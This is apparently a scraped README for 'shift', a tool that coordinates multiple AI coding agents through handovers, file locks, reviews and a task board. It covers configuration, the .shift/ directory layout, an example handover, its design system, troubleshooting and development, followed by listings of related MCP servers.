auto_claim_ttl_minutes: 30
verify_allow:
- npm test
- pnpm test
verify_timeout_seconds: 300
compact_threshold: 20
presence_active_minutes: 10
presence_stale_minutes: 20
auto_handover: ask
handover_interval_minutes: 15
worktree_dir: ../{repo}.worktrees
notify: false
notify_command: []Key | Values | Default | Meaning |
|
|
|
|
| integer |
| Lifetime of an explicit lock when |
| boolean |
| The Claude Code edit hook locks each file the agent edits |
| integer |
| Lifetime of an auto lock; renewed on every edit |
| list of command prefixes |
| Claim commands |
| integer |
| Per-command timeout for |
| integer |
|
|
| integer |
| An agent seen within this window is listed as active |
| integer |
| Auto locks of an agent silent this long stop counting |
|
|
| Automatic handovers: ask the agent, record a draft, or |
| integer |
| Do not ask a session that handed over this recently; session end catches the rest |
| path |
| Where |
| boolean |
| Desktop notifications, see Notifications |
| list of strings |
| Custom notifier command; title and message are appended |
Missing keys fall back to the defaults, so an old config keeps working.
The .shift/ directory
.shift/
config.yml
.gitignore ignores locks.json, presence.json, dashboard.html, ui.json, ui-server.json, .mutex/, *.tmp
SUMMARY.md rolling project summary written by compaction
handovers/<id>.md
reviews/<id>.md
notes/<id>.md
tasks/<id>.md the task board
archive/ compacted handovers, reviews and notes (same layout)
locks.json active locks (ephemeral)
presence.json last heartbeat per agent (ephemeral)
dashboard.html the shared live dashboard (ephemeral)
ui.json when the dashboard was last opened, to avoid duplicate tabs (ephemeral)
ui-server.json PID and port of the running interactive UI server (ephemeral)
log.jsonl append-only event logIds sort in creation order: ho-20261128-173012402-9c1e is a handover created at 17:30:12.402 UTC
on 2026-11-28, followed by 4 random hex digits. rv-... is a review, nt-... a note, tk-... a task.
Each document is markdown with YAML frontmatter. The frontmatter is the source of truth; the body is a human-readable rendering, regenerated on every write. Edit the frontmatter if you must fix something by hand.
Example handover:
---
id: ho-20261128-173012402-9c1e
from: claude
to: codex
status: disputed
created: 2026-11-28T17:30:12.402Z
goal: Add email/password login to the web app
done:
- text: Login form renders at /login
evidence: "npm test -- login.spec.ts: 4 passed"
cmd: npm test -- login.spec.ts
- text: POST /api/login returns a session cookie
evidence: src/api/login.ts:12-48, commit 3f2a91c
not_done:
- "Password reset flow: not started"
next_steps:
- Add rate limiting to /api/login
risks:
- Session secret is read from .env; missing in CI
verification:
- "npm test: 31 passed, 0 failed"
files:
- src/api/login.ts
- src/pages/login.tsx
git:
branch: feature/login
head: 3f2a91c7d0...
base: 8e01b44a92...
dirty: false
files:
- src/api/login.ts
- src/pages/login.tsx
reviews:
- rv-20261128-181544601-02af
acked_by: codex
acked_at: 2026-11-28T18:02:10.118Z
---
# Handover ho-20261128-173012402-9c1e
**claude** → **codex** · 2026-11-28T17:30:12.402Z · status **disputed**, acked by **codex** at ...
## Done (claims)
0. Login form renders at /login
- evidence: npm test -- login.spec.ts: 4 passed
- check: `npm test -- login.spec.ts`
1. POST /api/login returns a session cookie
- evidence: src/api/login.ts:12-48, commit 3f2a91c
...Each line in log.jsonl is one event:
{"ts":"2026-11-28T18:15:44.601Z","agent":"codex","type":"handover.review","ref":"ho-20261128-173012402-9c1e","summary":"disputed (1 disputed)"}Event types: handover.create, handover.ack, handover.review, note.<kind>, lock.claim,
lock.auto (first auto lock on a file; renewals are not logged), lock.release, compact,
task.add, task.take, task.update, task.reopen, worktree.add, worktree.remove.
Should I commit .shift/?
Yes, if you want the history of handovers, reviews and decisions in git, shared across machines and teammates.
locks.jsonand the mutex stay out through.shift/.gitignore.No, if the agents' notes are personal scratch. Add
.shift/to your project's.gitignore.
Do not put secrets in handovers or notes. They are plain text, and committed if you commit .shift/.
Design
Every shift surface (the dashboard, the CLI, the logo and the plugin icon) follows one pixel minimal design system: a developer utility with 8-bit details, not a game.
Token | Value | Use |
background |
| page, terminal-like canvas |
surface |
| cards, tables, panels |
border |
| 1px borders, dashed separators |
text |
| primary text |
secondary |
| labels, timestamps, hints |
lime |
| only active states, highlights and primary actions |
error |
| only disputed, blocked and warnings |
Monospace everywhere; the pixel wordmark and pixel icons are drawn from bitmaps in
src/pixel.tsand rendered as crisp SVG rects (no font files, works offline).Sharp corners (0–2px), 1px borders, no gradients, no soft shadows, no glass.
Hover is a 2px hard offset; focus is a 2px lime outline; motion respects
prefers-reduced-motion.The CLI uses the same palette in truecolor and drops all color when
NO_COLORis set or output is not a terminal, so hooks and MCP always get plain text.assets/logo.svgandassets/banner.svgare generated bynpm run buildfrom the same bitmaps.
Troubleshooting
The agent shows up as unknown. Its MCP client does not report a name. Set SHIFT_AGENT in
the environment the agent runs in, or in the MCP server config ("env": { "SHIFT_AGENT": "name" }).
Two sessions of the same AI look like one agent. Session detection needs ps (macOS, Linux) and
a known host process. On Windows, or with an unusual host, start each session with its own
SHIFT_AGENT or SHIFT_INSTANCE.
"Timed out waiting for the MCP server to complete its startup handshake". The host could not
start node: desktop apps do not inherit your shell's PATH (nvm, Homebrew). Use the absolute path
of node (which node), or the antigravity/scripts/shift launcher, which finds it.
An agent does not show up as active. Presence comes from shift tool calls and from hooks: session
start, every file edit, and a heartbeat at each turn boundary (Claude Code and Codex: prompt submitted
and turn finished; Antigravity: each invocation; Gemini CLI: before each agent run). An agent that
only reads files during one very long turn can still turn idle after presence_active_minutes.
Codex runs its hooks only after you trust them with /hooks, and only once the session gets its
first message. The dashboard decides who is active from the clock, so a session silent for
presence_active_minutes turns idle by itself.
agy says "Sign-in update needed". That is Antigravity's own Google sign-in asking for new
permissions, not shift. Run /logout in agy and sign in again.
The session start context does not appear. The hook is silent until .shift/ exists. Run
shiftctl init, or make any shift write first. Check that the plugin is enabled with /plugin.
.shift/ was created in the wrong directory. The server looks for an existing .shift/ upward
from where it starts, then for the git root. Set SHIFT_ROOT, or run shiftctl init in the right
directory first.
An edit is blocked by a lock that should be gone. Run shiftctl status to see the holder and
expiry. Ask the holder to release it, wait for it to expire, or set lock_mode: ask temporarily.
As a last resort, delete the entry from .shift/locks.json.
Another agent is blocked by a file Claude edited a while ago. That is an auto lock. It expires
auto_claim_ttl_minutes after Claude's last edit of the file, and is released when the Claude
session ends or Claude writes a handover. Lower the TTL, or set auto_claim: false.
shift_verify says "NOT RUN". The command is not in verify_allow, or it contains shell
metacharacters. Run it yourself, or add its prefix to verify_allow if you trust it. Commands with
&& or pipes never run automatically: wrap them in a script and allowlist the script.
Claude is asked for handovers too often. Raise handover_interval_minutes, or set
auto_handover: draft (shift records drafts and never interrupts) or off.
timed out waiting for .../.mutex. A process died while holding the mutex. It is broken
automatically after 10 seconds; if it persists, delete .shift/.mutex/.
Roadmap
Planned or under consideration:
Merge assist.
shiftctl worktree merge NAMEthat refuses unless the branch's last handover isverified.Cursor hooks adapter, once its hook format is documented well enough.
Git trailers.
Shift-Handover: ho-...in commit messages, linking commits to handovers.
Development
npm install
npm test # vitest
npm run typecheck # tsc --noEmit
npm run build # bundles src/cli.ts to dist/shiftctl.mjs, version injected from package.jsonCommit dist/ after building: the plugin runs dist/shiftctl.mjs directly, without npm install.
To release, bump version in both package.json and .claude-plugin/plugin.json (the build fails
if they differ), rebuild (this also regenerates antigravity/), commit, tag. Claude Code only picks up a plugin update when the version
changes.
Source layout:
File | Role |
| Core: handovers, reviews, notes, locks, presence, compaction, event log |
| MCP server and tool definitions |
|
|
| The status overview used by |
| Frontmatter documents and markdown rendering |
| Claim command allowlist, execution and verdicts |
| Task board: add, take, update, dependencies, ready tasks |
| Per-agent track record |
| Git worktree add / list / remove |
|
|
| Desktop notifications |
| Pixel bitmaps: wordmark, logo mark, icons |
| Terminal styling for |
| Generates |
| Generates the Antigravity plugin in |
| Paste-ready hook configs for Gemini CLI and Codex |
| Git branch, HEAD, changed files |
| Agent names, session (host PID) detection, actor labels |
| Atomic writes, mutex, ids |
|
|
| Generated Antigravity plugin (do not edit by hand) |
| Design notes |
Validate the plugin manifest with claude plugin validate ..
License
MIT
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
This server cannot be deployed
Maintenance
Related MCP Connectors
Git collaboration for AI agents and people: tasks, hand-offs, reviews, teams, shared memory.
Multiplayer for the coding agents your team already uses: shared tasks, decisions, skills and tools.
Coordination hub for AI coding agents: message teammates, ask humans, audit every event.
Shared control plane for AI coding agents — tasks, memory, decisions, file locks. 12 tools.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceEnables multiple AI coding agents to coordinate on a shared software project by registering, claiming tasks, declaring file intents, publishing structured change reports, and handing off context, with a local dashboard showing state in near real time.MIT
- AlicenseBqualityBmaintenanceEnables multiple AI coding agents and humans to coordinate through a Git-native Markdown blackboard (.context/ + AGENTS.md), where they can inspect workspace overviews, claim and toggle ready tasks, record architecture decisions, synthesize shared prompts, and hand off work via atomic, lock-protected writes that prevent lost updates and formatting drift. It also serves a fully offline local web dashboard that live-syncs any blackboard change over WebSocket.71MIT
- AlicenseNot gradedqualityBmaintenanceEnables coding agents to maintain local-first project memory, coordinate task ownership across Git worktrees, and verify completion against project-defined checks with durable evidence stored in the repository.1Apache 2.0
- AlicenseNot gradedqualityBmaintenanceEnables local multi-agent Codex collaboration through a SQLite task graph, atomic task claiming and leases, isolated Git worktrees, append-only events and messages, and a local web Kanban board.MIT